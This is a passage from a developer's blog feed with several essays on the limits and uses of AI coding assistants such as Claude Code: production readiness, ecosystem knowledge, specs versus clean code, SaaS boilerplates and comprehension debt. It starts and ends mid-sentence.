now, with your current data, under ideal conditions.</p><p>Here’s what AI is catastrophically bad at: imagining your code running on three replicas behind a load balancer at 3am when the database is under pressure and someone’s running a batch job that nobody documented.</p><p>A Fortune 100 developer on Reddit<a href="https://reddit.com/r/ExperiencedDevs/comments/1mg2r6y/the_era_of_ai_slop_cleanup_has_begun/" rel="external nofollow noopener" class="lnp-link">put it bluntly</a>: “There’s a lot of vibe coded slop that works well for MVP but will absolutely fall apart under stress and within production environments once they scale to more users. It doesn’t really reveal itself until later when it’s much more difficult to fix.”</p><p>Later. When it’s difficult. The horror.</p><p>Let me walk you through what “later” looked like for me this week.</p><h3 id="pattern-1-production-blindness"><strong>Pattern 1: Production Blindness</strong></h3><p><strong>The Concurrency Landmine</strong></p><p>I’m building a tool that routes MCP calls. Claude wrote it in Python — clean, well-structured, exactly what I asked for. Worked beautifully in testing. One request, one response, everybody’s happy.</p><p>Then I imagined what happens when three Claude Code sessions hit it simultaneously.</p><p>Oh.</p><p><em>Oh no.</em></p><p>Python’s threading model and the phrase “parallel requests” get along about as well as cats and bathtubs. Claude’s solution? More Python. Refactor this, optimize that. Very confident. Would’ve worked for lower concurrency.</p><p>But I knew this thing needed to handle dozens of parallel sessions. I prompted it to rewrite in Go. Claude nailed the port — goroutines, channels, the works. Problem solved in an afternoon.</p><p>The code was excellent. The language selection wasn’t. Claude optimizes brilliantly within the box you give it. It just won’t question whether you’re in the right box.</p><p><strong>The Replicas Problem</strong></p><p>Auth rate limiting. Claude implemented it in-memory with a clean sliding window algorithm. Textbook correct. Tests pass. Ship it.</p><p>One replica: perfect.<br>
Two replicas: every user gets double the rate limit.<br>
Three replicas: chaos.</p><p>This is distributed systems 101. The kind of thing you learn after you’ve been paged at 2am because someone figured out they could hit your API from three different IPs and get 3x the rate limit.</p><p>When I pointed this out, Claude immediately suggested Redis-backed rate limiting with proper distributed locking. Great solution. But it didn’t think about replicas until I did. Claude builds for the deployment model you describe. If you don’t describe it, localhost is the default.</p><p><strong>The Sync Task Landmine</strong></p><p>An API endpoint runs a long-running task. Claude implemented it synchronously — straightforward, easy to understand, does exactly what the tests verify.</p><p>Deploy it. First user clicks the button. 30-second timeout. 504 Gateway Timeout.</p><p>When I explained the problem, Claude refactored it to Celery with proper task queuing, retry logic, and status polling. Solid implementation. Took maybe 20 minutes.</p><p>But here’s the thing: I only caught it because I tested the actual user flow, not just the unit tests. Claude implemented what I asked for. I didn’t ask for “an endpoint that won’t timeout in production.” That’s on me. But it’s also the kind of thing I’ve learned to check after watching synchronous endpoints die approximately 47 times.</p><h3 id="pattern-2-ecosystem-amnesia"><strong>Pattern 2: Ecosystem Amnesia</strong></h3><p><strong>The Deprecation You Won’t Find on Stack Overflow</strong></p><p>Supabase deprecated their API keys. Not in a big announcement. Not in the docs you’d naturally read. In a<a href="https://github.com/orgs/supabase/discussions/29260" rel="external nofollow noopener" class="lnp-link">GitHub discussion</a> with 43 comments and a lot of confused developers.</p><p>I found out because I read the discussion. I then had to fix three separate projects.</p><p>Claude doesn’t read GitHub discussions. Claude doesn’t know what the community is grumbling about. Claude’s knowledge is frozen in time, and the ecosystem keeps moving.</p><p><strong>The “Works But Wrong” Framework Choice</strong></p><p>Claude encrypted secrets at rest using Fernet keys. Technically correct. Cryptographically sound. Tests pass. Secure enough.</p><p>But I’m using Supabase. Supabase has a vault feature built specifically for this. When I mentioned it, Claude migrated everything over cleanly — proper RLS policies, the works.</p><p>The Fernet implementation wasn’t<em>wrong</em>. It just wasn’t the<em>right</em> choice for this stack. Supabase vault means one less thing I manage, one less key rotation I handle, one less piece of infrastructure to think about.</p><p>Claude doesn’t know the zeitgeist of “what’s the idiomatic way to do this in Supabase.” That knowledge lives in community forums, Discord servers, and the muscle memory of people who’ve shipped Supabase apps before.</p><p><strong>The Build System That Wasn’t</strong></p><p>I made UI mockups with Tailwind CSS(using Claude, to be fair). Told Claude to use them. Claude happily served Tailwind from a CDN.</p><p>In development? Fine.<br>
In production? Every page load fetches the entire Tailwind library. Uncompiled. Unoptimized. Approximately 300KB of CSS you don’t need.</p><p>Claude knows what Tailwind is. Claude doesn’t know that real projects compile it. That’s the kind of tribal knowledge you pick up by shipping things and watching your Lighthouse scores crater.</p><h3 id="pattern-3-verification-vacuum"><strong>Pattern 3: Verification Vacuum</strong></h3><p><strong>The Cache That Wasn’t</strong></p><p>Database queries were getting slow. I asked Claude to add a caching layer. Claude wrote a beautiful Redis caching module — proper TTLs, cache invalidation on writes, the works. Tests for the module passed. I shipped it, watched the deployment go green, felt the warm glow of productivity.</p><p>The cache wasn’t being hit.</p><p>Claude built an excellent caching module. Claude did not check whether the actual query functions were<em>calling</em> the cache. The module worked perfectly. Nothing was using it. Every request still hit the database directly.</p><p>I discovered this by checking Redis after a few hundred requests. Empty. Revolutionary debugging technique, I know.</p><p>Could tests have caught this? Sure. Integration tests that verify “when I make this API call, Redis gets a cache entry.” But I’d need to know to write that test. Claude wrote unit tests for the caching module. I should have asked for end-to-end verification. The knowledge that “modules can exist without being properly wired up” is experience. Pattern recognition. The scar tissue from shipping features that weren’t actually features before.</p><h3 id="pattern-4-architectural-judgment"><strong>Pattern 4: Architectural Judgment</strong></h3><p><strong>The Multitenancy Time Bomb</strong></p><p>A project using Qdrant vector database. Users store embeddings. Multiple users. Shared infrastructure.</p><p>The question that should wake you up at night: Can User A see User B’s data?</p><p>Claude’s implementation used collection-level isolation with proper tenant IDs in the filter queries. Reasonable approach. Worked in my tests.</p><p>But a thorough multitenancy review? The kind where you trace every query path, every edge case, every possible way data could leak between tenants? Where you think about what happens if someone forgets to pass the tenant filter? Where you consider whether the default behavior is secure-by-default or insecure-by-default?</p><p>That review took me two hours. Claude can help<em>execute</em> the fixes I identify, but it won’t spontaneously think “hey, multitenancy is a critical architectural decision that deserves paranoid scrutiny.”</p><p>Get multitenancy wrong and you’re on the front page of Hacker News, and not in the good way. Claude builds features. You build threat models.</p><h3 id="what-the-discourse-gets-wrong"><strong>What The Discourse Gets Wrong</strong></h3><p>Here’s what bothers me about the AI discourse: both sides are missing the point.</p><p>The AI skeptics say “AI code is garbage, don’t use it.” That’s wrong. Claude Code is incredibly useful. I ship faster. I handle complexity I couldn’t handle alone. The leverage is real.</p><p>The AI evangelists say “AI will replace developers, just describe what you want.” That’s also wrong. Describing what you want is the<em>easy</em> part. Knowing what you<em>should</em> want — that’s where the experience lives.</p><p>Someone on r/ExperiencedDevs<a href="https://reddit.com/r/ExperiencedDevs/comments/1on84au/ai_wont_make_coding_obsolete_coding_isnt_the_hard/" rel="external nofollow noopener" class="lnp-link">nailed it</a>: “Coding is the boring/easy part. Typing is just transcribing decisions into a machine. The real work is upstream: understanding what’s needed, resolving ambiguity, negotiating tradeoffs, and designing coherent systems.”</p><p>The developers who thrive aren’t the ones who write the most code. They’re the ones who catch the multitenancy bug before it ships. Who know that in-memory rate limiting won’t scale. Who’ve been burned by synchronous endpoints and CDN-served CSS and proxies that aren’t wired up.</p><p>Experience isn’t knowing the syntax. Experience is knowing the failure modes.</p><h3 id="whats-actually-worth-learning"><strong>What’s Actually Worth Learning</strong></h3><p>So what’s worth learning when AI can write the code?</p><p><strong>Production Thinking</strong></p><p>This is the big one. Every example above comes back to it: Claude builds for localhost, you build for production.</p><p>Concretely, this means developing instincts for questions like:</p><ul><li><p>“What happens when there are multiple replicas?” (Rate limiting, session state, caching, file storage — anything in-memory becomes a distributed systems problem)</p></li><li><p>“What happens under load?” (Synchronous operations become timeouts. N+1 queries become database meltdowns. That “fast enough” endpoint becomes a bottleneck)</p></li><li><p>“What happens when dependencies fail?” (Database is slow. External API is down. Redis is unreachable. Do you degrade gracefully or explode?)</p></li><li><p>“What happens at 3am when nobody’s watching?” (Background jobs. Retry logic. Dead letter queues. The things that fail silently)</p></li></ul><p>How do you learn this? You can’t shortcut it. You deploy things. You watch them break. You read post-mortems. You get paged. You develop a paranoid imagination for failure modes.</p><p>But you can accelerate it: before you ship, spend 10 minutes imagining the deployment. Draw the boxes. How many instances? What’s in front of them? Where’s the state? What’s shared? This exercise catches 80% of the issues I described above.</p><p><strong>Ecosystem Intuition</strong></p><p>This is knowing the<em>zeitgeist</em> of your stack — not just what’s possible, but what’s idiomatic. What the community actually uses. What’s deprecated but still in the docs. What’s new but not proven.</p><p>Concretely:</p><ul><li><p>Read the GitHub discussions, not just the docs. That’s where deprecations get announced, migration paths get debated, and footguns get documented.</p></li><li><p>Follow the maintainers on Twitter/X or Bluesky. They’ll tell you about breaking changes before the docs catch up.</p></li><li><p>Lurk in Discord servers. The “how should I do X” discussions reveal what’s considered best practice.</p></li><li><p>Actually ship with the stack. The difference between “I’ve read about Supabase” and “I’ve shipped three apps with Supabase” is enormous.</p></li></ul><p>The goal: when Claude suggests an approach, you can immediately sense whether it’s the “right” way or just “a” way. Fernet encryption vs Supabase vault. CDN Tailwind vs compiled Tailwind. Redis rate limiting vs in-memory rate limiting. These aren’t in the documentation. They’re in the collective experience.</p><p><strong>Architectural Paranoia</strong></p><p>Some decisions are easy to change later. Some aren’t. Knowing the difference is half of senior engineering.</p><p>The ones that are hard to reverse:</p><ul><li><p><strong>Multitenancy model</strong>: Shared database with tenant IDs? Separate schemas? Separate databases? Choose wrong and you’re rewriting everything.</p></li><li><p><strong>Auth architecture</strong>: Where do tokens live? How do sessions work? What’s the refresh flow? Changing this later breaks every client.</p></li><li><p><strong>Data model fundamentals</strong>: Relational vs document. Normalized vs denormalized. Adding a column is easy. Restructuring your entire data model is not.</p></li><li><p><strong>API contract design</strong>: Once clients depend on your response shape, changing it is a versioning nightmare.</p></li></ul><p>For each of these, Claude will happily implement whatever you ask. It won’t stop and say “are you sure about this? This is hard to change later.” That paranoia is your job.</p><p>My rule: for any architectural decision I can’t easily reverse, I spend at least an hour thinking about alternatives before I let Claude write the first line.</p><p><strong>Verification Instincts</strong></p><p>What should you test for? What’s easy to get wrong? What<em>looks</em> done but isn’t actually wired up?</p><p>This is pattern recognition from past failures. The cache that wasn’t being hit. The feature flag that was never checked. The error handler that swallowed exceptions silently.</p><p>Concretely:</p><ul><li><p><strong>Test the user flow, not just the units</strong>. My caching module passed all its unit tests. The integration was broken. If I’d tested “make this API call and verify Redis has an entry,” I’d have caught it immediately.</p></li><li><p><strong>Verify your assumptions</strong>. Claude wrote the code, but did the code actually get<em>used</em>? Add a log line. Check the network tab. Confirm reality matches intention.</p></li><li><p><strong>Break it on purpose</strong>. What happens when you pass invalid input? What happens when the database is slow? What happens when the auth token is expired? Claude tests the happy path. You test the sad path.</p></li></ul><p>The underlying skill: developing a checklist of “things that can look done but aren’t” for your specific domain. Every time you get burned, add it to the list. Eventually, you check these instinctively.</p><h3 id="the-uncomfortable-conclusion"><strong>The Uncomfortable Conclusion</strong></h3><p>A freelance developer with 8 years of experience<a href="https://reddit.com/r/ExperiencedDevs/comments/1mg2r6y/the_era_of_ai_slop_cleanup_has_begun/" rel="external nofollow noopener" class="lnp-link">described a pattern</a> he’s seeing across multiple clients: companies paying good money for internal software that barely works. Same symptoms every time. AI-generated comments. Algorithms that make no sense. Inconsistent patterns.</p><p>“Yes it mostly works,” he wrote, “but does so terribly to the point where it needs to be fixed.”</p><p>The era of AI slop cleanup has begun. And the people doing the cleanup are the ones who know what production actually looks like.</p><p>Claude builds for localhost. You build for production.</p><p>That gap is where your fifteen years live. And it’s not getting smaller.</p><p><em>This is the third essay in an accidental trilogy. First:<a href="https://lakshminp.substack.com/p/the-invisible-tax-you-pay-when-you" rel="external nofollow noopener" class="lnp-link">comprehension debt is real</a>. Second:<a href="https://lakshminp.substack.com/p/clean-code-is-dead-long-live-clean" rel="external nofollow noopener" class="lnp-link">clean code is dead</a>. This one: the skills that matter more now, not less.</em></p>
]]></content:encoded></item><item><title>Clean Code Is Dead. Long Live Clean Specs.</title><link>https://lakshminp.com/2026/01/clean-code-dead-clean-specs/</link><pubDate>Fri, 09 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/clean-code-dead-clean-specs/</guid><category>essays</category><category>ai-coding</category><category>craft</category><description>Steve Yegge shipped 225,000 lines of Go code he’s never read.
Let that sink in.
Beads — his coding agent memory system — is used by tens of thousands of developers daily. It’s 100% vibe coded. Yegge has never looked at a single line. Same with his new project, Gastown. Three weeks old, 100% vibe coded, never seen the code, never plans to.
His reaction to anyone uncomfortable with this? “Get out now.”</description><content:encoded>&lt;![CDATA[<p>Steve Yegge shipped 225,000 lines of Go code he’s never read.</p><p>Let that sink in.</p><p><a href="https://steve-yegge.medium.com/introducing-beads-a-coding-agent-memory-system-637d7d92514a" rel="external nofollow noopener" class="lnp-link">Beads</a> — his coding agent memory system — is used by tens of thousands of developers daily. It’s 100% vibe coded. Yegge has never looked at a single line. Same with his new project,<a href="https://steve-yegge.medium.com/welcome-to-gas-town-4f25ee16dd04" rel="external nofollow noopener" class="lnp-link">Gastown</a>. Three weeks old, 100% vibe coded, never seen the code, never plans to.</p><p>His reaction to anyone uncomfortable with this? “Get out now.”</p><h2 id="the-heresy"><strong>The Heresy</strong></h2><p>For two decades, we’ve been taught that code is literature. Uncle Bob’s Clean Code. Martin Fowler’s Refactoring. Elegant variable names. Single responsibility. Code should read like prose.</p><p>We optimized for human comprehension because humans had to maintain it.</p><p>But what if that’s no longer true?</p><p><a href="https://www.simonhoiberg.com/" rel="external nofollow noopener" class="lnp-link">Simon Hoiberg</a> put it bluntly: “Half my code is now written by AI, and the other half is read by AI to fix bugs. Optimizing for human readability is becoming pointless.”</p><p>The audience for your code has changed. And it’s not you anymore.</p><h2 id="the-other-day-i-wrote-about-comprehension-debt"><strong>The Other Day I Wrote About Comprehension Debt</strong></h2><p>I argued that vibe coding creates legacy code from day one. That velocity without comprehension isn’t velocity — it’s procrastination with extra steps.</p><p>I still believe that. Mostly.</p><p>But here’s the uncomfortable follow-up question: What if comprehension debt only matters when<em>you</em> have to pay it?</p><p>If AI writes the code and AI debugs the code and AI refactors the code&hellip; who exactly needs to understand it?</p><h2 id="the-new-contract"><strong>The New Contract</strong></h2><p>The old contract: Write clean code so humans can read it.</p><p>The new contract: Write code that produces correct outcomes, verified by tests that humans can understand.</p><p>This is a crucial shift. The code becomes disposable infrastructure. The tests become the spec. The behavior becomes the product.</p><p>Steve Yegge doesn’t need to understand 225,000 lines of Go. He needs to understand what Beads should do. The tests verify that it does it. The code is just&hellip; implementation detail. An artifact. A byproduct.</p><h2 id="clean-specs--clean-code"><strong>Clean Specs &gt; Clean Code</strong></h2><p>Here’s the heretical thought experiment:</p><p>What if “clean code” principles should now apply to your specifications instead of your source code?</p><p>Think about it:</p><ul><li><p><strong>Readable intent</strong>: Your specs should be crystal clear. “Users can checkout with valid payment. Invalid cards show an error. Empty carts can’t checkout.”</p></li><li><p><strong>Single responsibility</strong>: Each spec describes one behavior. Not implementation — behavior.</p></li><li><p><strong>Self-documenting</strong>: Specs are the documentation that gets executed. They describe what the system should do, and you verify it actually does.</p></li><li><p><strong>Easy to modify</strong>: When requirements change, you update the spec first. AI updates everything else.</p></li></ul><p>The source code can be a tangled mess of AI-generated spaghetti. Who cares? If you can clearly specify what you want and verify you got it, the implementation is just a detail.</p><h2 id="the-yegge-paradox"><strong>The Yegge Paradox</strong></h2><p>Here’s what’s wild. In the Vibe Coding book Yegge co-authored with Gene Kim, “Steve” is described as reviewing 10,000 lines of code a day, throwing away 10 lines for every line kept.</p><p>Wait. He reviews code? I thought he never looks at it?</p><p>The answer, I think, is this: He reviews<em>outcomes</em>. He reviews test results. He reviews whether the thing works. He’s not reading code for elegance or comprehension. He’s running it, breaking it, verifying it.</p><p>The code review has become a behavior review.</p><h2 id="what-this-means-for-you"><strong>What This Means for You</strong></h2><p>I’m not saying burn your Clean Code book. (Okay, maybe I am. That thing is 400 pages of what could’ve been a blog post.)</p><p>But consider this workflow:</p><ol><li><p><strong>Specify the behavior</strong> — in plain language. “Users can checkout with valid payment. Invalid cards show an error. Empty carts can’t checkout.”</p></li><li><p><strong>Let AI write the tests</strong> — it turns your specs into executable verification</p></li><li><p><strong>Let AI write the implementation</strong> — who cares if it’s ugly</p></li><li><p><strong>Verify the outcomes</strong> — does it do what you specified? Try to break it. Edge cases covered?</p></li><li><p><strong>Ship it</strong> — the code is a means to an end</p></li></ol><p>If something breaks, you don’t debug the code. You describe the broken behavior. AI writes a failing test. AI fixes the implementation. You verify the outcome. You never had to understand the implementation. You just had to understand what you wanted.</p><h2 id="the-catch"><strong>The Catch</strong></h2><p>There’s always a catch.</p><p>This only works if your specifications are actually good. If your specs are vague, incomplete, missing edge cases — you’re in the worst of both worlds. Incomprehensible code that doesn’t even do what you need.</p><p>That’s not vibe coding. That’s vibes-all-the-way-down coding. And that’s how you get 18 out of 20 CTOs reporting production disasters.</p><p>The discipline has to go somewhere. If you’re not putting it into clean code, you damn well better be putting it into clear specifications and ruthless outcome verification.</p><h2 id="the-real-skill-shift"><strong>The Real Skill Shift</strong></h2><p>Old skill: Writing elegant, maintainable code that other humans can understand.</p><p>New skill: Specifying behavior precisely and verifying outcomes ruthlessly.</p><p>The developers who thrive won’t be the ones who write the cleanest code. They’ll be the ones who can articulate exactly what they want. Who can break their own systems. Who can look at a feature and immediately think of ten ways it could fail.</p><p>Code literacy is becoming specification literacy. The new “clean code” is clear intent.</p><h2 id="the-uncomfortable-conclusion"><strong>The Uncomfortable Conclusion</strong></h2><p>We spent twenty years optimizing for human readers who are increasingly being replaced by AI readers.</p><p>Maybe Steve Yegge is right. Maybe the code doesn’t matter. Maybe it never really mattered — we just didn’t have anything better.</p><p>What matters is: Does it work? Can you prove it? Can you verify it still works after changes?</p><p>Clean code was a proxy for those questions. A good heuristic when humans had to debug.</p><p>Clean specs answer those questions directly.</p><p>The code is dead. Long live the specs.</p><p><em>This is a follow-up to my<a href="https://lakshminp.substack.com/p/the-invisible-tax-you-pay-when-you" rel="external nofollow noopener" class="lnp-link">recent essay</a> on comprehension debt. The tension is real: you need to understand the problem deeply enough to specify it clearly, but maybe not the implementation at all. Where that line is&hellip; I’m still figuring out.</em></p>
]]></content:encoded></item><item><title>I Stopped Buying SaaS Boilerplates. Here's What I Buy Instead.</title><link>https://lakshminp.com/2026/01/saas-boilerplates-alternative/</link><pubDate>Thu, 08 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/saas-boilerplates-alternative/</guid><category>essays</category><category>saas</category><description>I used to collect SaaS boilerplates like some people collect vintage wine.
ShipFast. LaunchFast. ShipQuick. QuickShip. FastLaunch. LaunchQuick. (I may be making some of these up. I genuinely can’t tell anymore.)
Each one promised the same thing: “Save 40 hours of setup! Auth, payments, email — all pre-configured!”
And they delivered. Sort of. You got a codebase with 47 features, of which you needed 3. You spent 20 hours understanding their architectural decisions. Then another 20 hours ripping out the features you didn’t need. Then another 10 hours wondering why they chose that ORM.</description><content:encoded>&lt;![CDATA[<p>I used to collect SaaS boilerplates like some people collect vintage wine.</p><p>ShipFast. LaunchFast. ShipQuick. QuickShip. FastLaunch. LaunchQuick. (I may be making some of these up. I genuinely can’t tell anymore.)</p><p>Each one promised the same thing: “Save 40 hours of setup! Auth, payments, email — all pre-configured!”</p><p>And they delivered. Sort of. You got a codebase with 47 features, of which you needed 3. You spent 20 hours understanding their architectural decisions. Then another 20 hours ripping out the features you didn’t need. Then another 10 hours wondering why they chose<em>that</em> ORM.</p><p>Revolutionary time savings.</p><h1 id="what-boilerplates-actually-sold-you"><strong>What Boilerplates Actually Sold You</strong></h1><p>Let’s be honest about what you were paying for:</p><ol><li><p><strong>Code you didn’t want to write</strong> — Auth flows, Stripe webhooks, email templates</p></li><li><p><strong>Decisions you didn’t want to make</strong> — Folder structure, state management, API patterns</p></li><li><p><strong>Security patterns you didn’t know</strong> — CSRF tokens, rate limiting, input sanitization</p></li></ol><p>The first two? Claude Code handles those in minutes now.</p><p>The third one? That’s where it gets interesting.</p><h1 id="the-security-argument-and-why-its-half-right"><strong>The Security Argument (And Why It’s Half Right)</strong></h1><p>I’ve seen this take on Reddit: “AI is careless with security and exposes secret keys.”</p><p>Fair. I’ve watched Claude Code cheerfully commit<code>.env</code> files to git(not now, in its early days). I’ve seen it generate SQL queries that would make Bobby Tables proud.</p><p>But here’s the thing: I’ve also seen<em>paid boilerplates</em> ship with hardcoded API keys in example files. I’ve seen “battle-tested” starter kits with XSS vulnerabilities that a first-year CS student would catch.</p><p>The boilerplate isn’t magic. It’s just someone else’s code. Sometimes that someone else knew what they were doing. Sometimes they were just faster at shipping than you.</p><h1 id="what-claude-code-actually-changes"><strong>What Claude Code Actually Changes</strong></h1><p>Ask Claude Code to set up Stripe webhooks.</p><p>Watch it scaffold the endpoint, handle signature verification, implement idempotency, and add proper error handling. In about 3 minutes.</p><p>Then ask it why it made each decision.</p><p>That’s the part boilerplate sellers don’t want you to think about. The boilerplate gives you code. Claude Code gives you code<em>and</em> explains the reasoning. You walk away actually understanding webhook signature verification instead of just copy-pasting it.</p><h1 id="the-real-question"><strong>The Real Question</strong></h1><p>Do you know what to ask for?</p><p>If you understand auth flows, webhook handling, rate limiting, and input sanitization — Claude Code replaces the boilerplate entirely. You’re paying $299 for code you can now generate in a conversation.</p><p>If you don’t know what you don’t know — the boilerplate is documentation-as-code. It shows you “here’s how someone who’s shipped 50 SaaS apps structures their webhook handlers.”</p><p>But here’s the thing: Claude Code<em>also</em> knows how someone who’s shipped 50 SaaS apps structures their webhook handlers. You just have to ask.</p><h1 id="the-uncomfortable-middle-ground"><strong>The Uncomfortable Middle Ground</strong></h1><p>Some boilerplates still earn their keep:</p><ul><li><p><strong>Active communities</strong> that find and patch subtle bugs</p></li><li><p><strong>Security audits</strong> by actual security people (rare, but they exist)</p></li><li><p><strong>Opinionated architecture</strong> from someone who’s felt the pain of bad decisions</p></li></ul><p>But most boilerplates? They’re charging you for the labor of stitching together open-source packages. That labor is now approximately free.</p><h1 id="the-pragmatic-take"><strong>The Pragmatic Take</strong></h1><p>Use Claude Code to build your first few projects from scratch.</p><p>You’ll learn the patterns. You’ll understand<em>why</em> you need idempotency keys on webhook handlers. You’ll feel the pain of forgetting CSRF protection and then never forget it again.</p><p>Then you’ll realize you never needed the $299 boilerplate.</p><p>You needed the knowledge it contained.</p><p>That knowledge is now a conversation away.</p><p><em>The $299 boilerplate sold you fish. Claude Code teaches you to fish while also catching the fish for you. Your mileage may vary, batteries not included, void where prohibited.</em></p>
]]></content:encoded></item><item><title>The Invisible Tax You Pay When You Vibe Code</title><link>https://lakshminp.com/2026/01/vibe-coding-comprehension-debt/</link><pubDate>Wed, 07 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/vibe-coding-comprehension-debt/</guid><category>essays</category><category>ai-coding</category><description>You shipped the feature. Tests pass. PR merged.
Two weeks later, something breaks and you open that file. You stare at the code. Your code. Code you wrote. Code that works.
You have no idea what it does.
Welcome to comprehension debt.
The Debt Nobody Talks About Technical debt is code you know is bad. Comprehension debt is code you don’t understand well enough to know if it’s bad.
There’s a crucial distinction here that a Reddit commenter nailed: “We’re getting correct code, but not right code.” The code runs. It passes tests. But ask someone why it makes specific design choices, why certain patterns were used, why the architecture looks the way it does — and the answer is often “Copilot put it there.”</description><content:encoded>&lt;![CDATA[<p>You shipped the feature. Tests pass. PR merged.</p><p>Two weeks later, something breaks and you open that file. You stare at the code.<em>Your</em> code. Code you wrote. Code that works.</p><p>You have no idea what it does.</p><p>Welcome to comprehension debt.</p><h2 id="the-debt-nobody-talks-about"><strong>The Debt Nobody Talks About</strong></h2><p>Technical debt is code you know is bad. Comprehension debt is code you don’t understand well enough to know if it’s bad.</p><p>There’s a crucial distinction here that a Reddit commenter nailed: “We’re getting correct code, but not<em>right</em> code.” The code runs. It passes tests. But ask someone why it makes specific design choices, why certain patterns were used, why the architecture looks the way it does — and the answer is often “Copilot put it there.”</p><p>With AI coding assistants, we can now generate working code faster than we can understand it. Claude writes 200 lines. Tests pass. Ship it. Next feature.</p><p>Repeat this fifty times and you’ve got a codebase that works but might as well be written by a stranger. Because functionally, it was.</p><h2 id="legacy-code-on-arrival"><strong>Legacy Code on Arrival</strong></h2><p>Here’s the uncomfortable truth that r/programming figured out: vibe coding is legacy code from day one.</p><p>One commenter called it “the payday loan of technical debt.” You’re borrowing velocity from your future self at predatory interest rates.</p><p>A freelance developer with 8 years of experience recently described a pattern he’s seeing repeatedly: companies paying good money for internal software that barely works. Tons of errors, unreasonably slow, security flaws everywhere. When he looks at the codebase, the same telltale signs: AI-generated comments, algorithms that make no sense, inconsistent patterns. Yes, it mostly works. But it works terribly.</p><p>In one case, a designer with CSS knowledge but not much more created a full React app with AI. When they hired a freelancer to fix it up, he deleted 90 files out of 100.</p><p>That’s not technical debt. That’s a technical foreclosure.</p><h2 id="where-it-hurts"><strong>Where It Hurts</strong></h2><p>Comprehension debt doesn’t show up on sprint boards. It shows up when:</p><ul><li><p><strong>Debugging takes 10x longer</strong> because you’re reverse-engineering your own code. Your<em>own</em> code. Like some kind of archaeologist excavating your past self’s decisions.</p></li><li><p><strong>Small changes require big rewrites</strong> because you can’t safely modify what you don’t understand.</p></li><li><p><strong>You can’t explain the system to anyone</strong>, including future you. Especially future you.</p></li><li><p><strong>Architecture decisions compound badly</strong> because each layer is built on foggy assumptions and vibes.</p></li></ul><p>Everyone talks about vibe coding. Nobody talks about vibe debugging. There’s a reason for that.</p><p>The irony: you used AI to go faster, but now you’re slower because you have to re-learn your own codebase every time you touch it.</p><h2 id="the-skill-atrophy-problem"><strong>The Skill Atrophy Problem</strong></h2><p>Here’s what worries senior developers: the heavier you lean on AI, the more your own skills degrade.</p><p>Someone described AI coding assistants as “a hyper-intelligent, infinitely patient junior developer.” Another added: “overconfident and unable to learn.”</p><p>That’s the trap. A junior developer eventually becomes a senior developer. They remember painful mistakes. Their understanding of your system grows over time.</p><p>AI doesn’t. Every conversation starts fresh. It will confidently suggest the same antipattern tomorrow that you rejected today. And if you’ve stopped exercising your own judgment because the AI handles it, you won’t catch it.</p><p>Ironically, the only people who should be leaning heavily on AI for code generation are people who are already experts. They can spot when it’s wrong. Everyone else is just accumulating comprehension debt they can’t even see.</p><h2 id="fighting-back"><strong>Fighting Back</strong></h2><p>You don’t have to understand everything. That’s the whole point of abstraction. But you need to understand<em>enough</em>.</p><p><strong>1. The Five-Minute Rule</strong></p><p>After AI generates code, spend five minutes actually reading it. Not skimming. Reading. Like with your eyeballs.</p><p>If you can’t explain what it does to a rubber duck, you’ve got comprehension debt.</p><p><strong>2. Write the Comments Yourself</strong></p><p>Don’t let AI write comments. Write them yourself, in your own words. If you can’t write the comment, you don’t understand the code.</p><p>One veteran developer pointed out: “Given that very few people comment the code, if there are comments at all it’s AI generated.” Comments have become a smell for AI slop, not a sign of good documentation.</p><p><strong>3. Draw the Damn Diagram</strong></p><p>For any non-trivial flow, sketch the data path. Boxes and arrows. Takes two minutes. Forces you to understand the actual architecture, not the architecture you assume exists.</p><p><strong>4. Refactor Before You Forget</strong></p><p>The best time to refactor AI-generated code is immediately after it works. You’ve got context. You’ve got momentum. Wait two weeks and that context is gone forever.</p><p>Future you will not remember. Future you has problems of their own.</p><p><strong>5. Your PR, Your Responsibility</strong></p><p>“Copilot put it there” is not an acceptable answer in a code review. It’s the same as saying “I don’t know, it was the first autocomplete option.”</p><p>The AI is a tool, like your IDE. At the end of the day, you’re responsible for every line in your PR. If you can’t defend the code, you shouldn’t be shipping the code.</p><h2 id="the-uncomfortable-truth"><strong>The Uncomfortable Truth</strong></h2><p>I’m not saying go back to writing everything by hand. That ship has sailed.</p><p>AI leverage is real. Use it.</p><p>But leverage without understanding is just deferred confusion. Every line of code you don’t understand is a question you’ll have to answer later, usually at 2am, usually when something is on fire.</p><p>Those championing AI focus on the speed something new can be developed. But in the long term, the real difficulty is how easily it can be maintained. And you can’t maintain what you don’t understand.</p><p>The developers who’ll thrive aren’t the ones who generate the most code. They’re the ones who maintain a sustainable ratio between code shipped and code understood.</p><p>Velocity without comprehension isn’t velocity.</p><p>It’s procrastination with extra steps.</p>
]]></content:encoded></item><item><title>I Found a Business Idea and Shipped It in One Claude Code Session</title><link>https://lakshminp.com/2026/01/claude-code-ship-one-session/</link><pubDate>Tue, 06 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/claude-code-ship-one-session/</guid><category>essays</category><category>claude-code</category><category>saas</category><description>I shipped a new product landing page yesterday. Not “finished the design.” Not “pushed to staging.” Live. Accepting waitlist signups. DNS propagated. The whole thing.
Time from “huh, interesting Reddit post” to “supabyoi.com is live”: under an hour.
This is either impressive or terrifying, depending on how you feel about the pace of software development in 2026.
The Setup I’ve been building a Reddit research tool that lives inside Claude Code. It monitors subreddits, scores posts against your interests, and helps you find signals in the noise. The tool uses Reddit’s public JSON endpoints—no API keys required, because Reddit doesn’t issue them anymore.</description><content:encoded>&lt;![CDATA[<p>I shipped a new product landing page yesterday. Not “finished the design.” Not “pushed to staging.” Live. Accepting waitlist signups. DNS propagated. The whole thing.</p><p>Time from “huh, interesting Reddit post” to “<a href="http://supabyoi.com/" rel="external nofollow noopener" class="lnp-link">supabyoi.com</a> is live”: under an hour.</p><p>This is either impressive or terrifying, depending on how you feel about the pace of software development in 2026.</p><h1 id="the-setup"><strong>The Setup</strong></h1><p>I’ve been building a Reddit research tool that lives inside Claude Code. It monitors subreddits, scores posts against your interests, and helps you find signals in the noise. The tool uses Reddit’s public JSON endpoints—no API keys required, because Reddit doesn’t issue them anymore.</p><p>That’s not hyperbole. Reddit recently announced they’re “ending self-service API access.” You can’t just 